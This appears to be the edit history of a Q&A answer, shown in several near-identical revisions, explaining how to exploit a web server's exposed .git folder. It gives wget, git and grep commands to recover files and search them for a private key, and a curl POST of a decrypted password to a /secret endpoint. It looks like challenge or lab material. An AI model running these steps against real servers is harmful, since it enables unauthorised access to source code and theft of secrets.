Skip to main content
Indent code blocks.
Source Link

While you have access to the .git.git folder:

  • Download the .git.git folder :
    wget https://server_address:443/.git
    
wget  https://server_address:443/.git
  • Check the status:
    git status 
    
git status 
  • If there is some deleted and uncommitted files, itthey can be restored:
    git restore 
    
git restore 

Else: If that doesn't work,

  • Check if there is another branch:
    git branch 
    
git branch 
  • If there is another branch, switch to it and check if the private key is there:
    grep -RHi "private key" .
    
grep -RHi "private key" .

Note that the /secret endpoint accept only accepts POST requests, and it will not work if you try to access it in the browser. Consider using Postman or curl instead:

curl -d 'password=thedecryptedpass' -X POST https://server_address:443/secret

While you have access to .git folder:

  • Download .git folder :
wget  https://server_address:443/.git
  • Check the status:
git status 
  • If there is some deleted and uncommitted files, it can be restored:
git restore 

Else:

  • Check if there is another branch
git branch 
  • If there is another branch, switch to it and check if the private key is there:
grep -RHi "private key" .

Note that /secret endpoint accept only POST requests and it will not work if you try to access it in the browser. Consider using Postman or curl instead:

curl -d 'password=thedecryptedpass' -X POST https://server_address:443/secret

While you have access to the .git folder:

  • Download the .git folder :
    wget https://server_address:443/.git
    
  • Check the status:
    git status 
    
  • If there is some deleted and uncommitted files, they can be restored:
    git restore 
    

If that doesn't work,

  • Check if there is another branch:
    git branch 
    
  • If there is another branch, switch to it and check if the private key is there:
    grep -RHi "private key" .
    

Note that the /secret endpoint only accepts POST requests, and it will not work if you try to access it in the browser. Consider using Postman or curl instead:

curl -d 'password=thedecryptedpass' -X POST https://server_address:443/secret
Source Link
St0rm
  • 612
  • 3
  • 11

While you have access to .git folder:

  • Download .git folder :
wget  https://server_address:443/.git
  • Check the status:
git status 
  • If there is some deleted and uncommitted files, it can be restored:
git restore 

Else:

  • Check if there is another branch
git branch 
  • If there is another branch, switch to it and check if the private key is there:
grep -RHi "private key" .

Note that /secret endpoint accept only POST requests and it will not work if you try to access it in the browser. Consider using Postman or curl instead:

curl -d 'password=thedecryptedpass' -X POST https://server_address:443/secret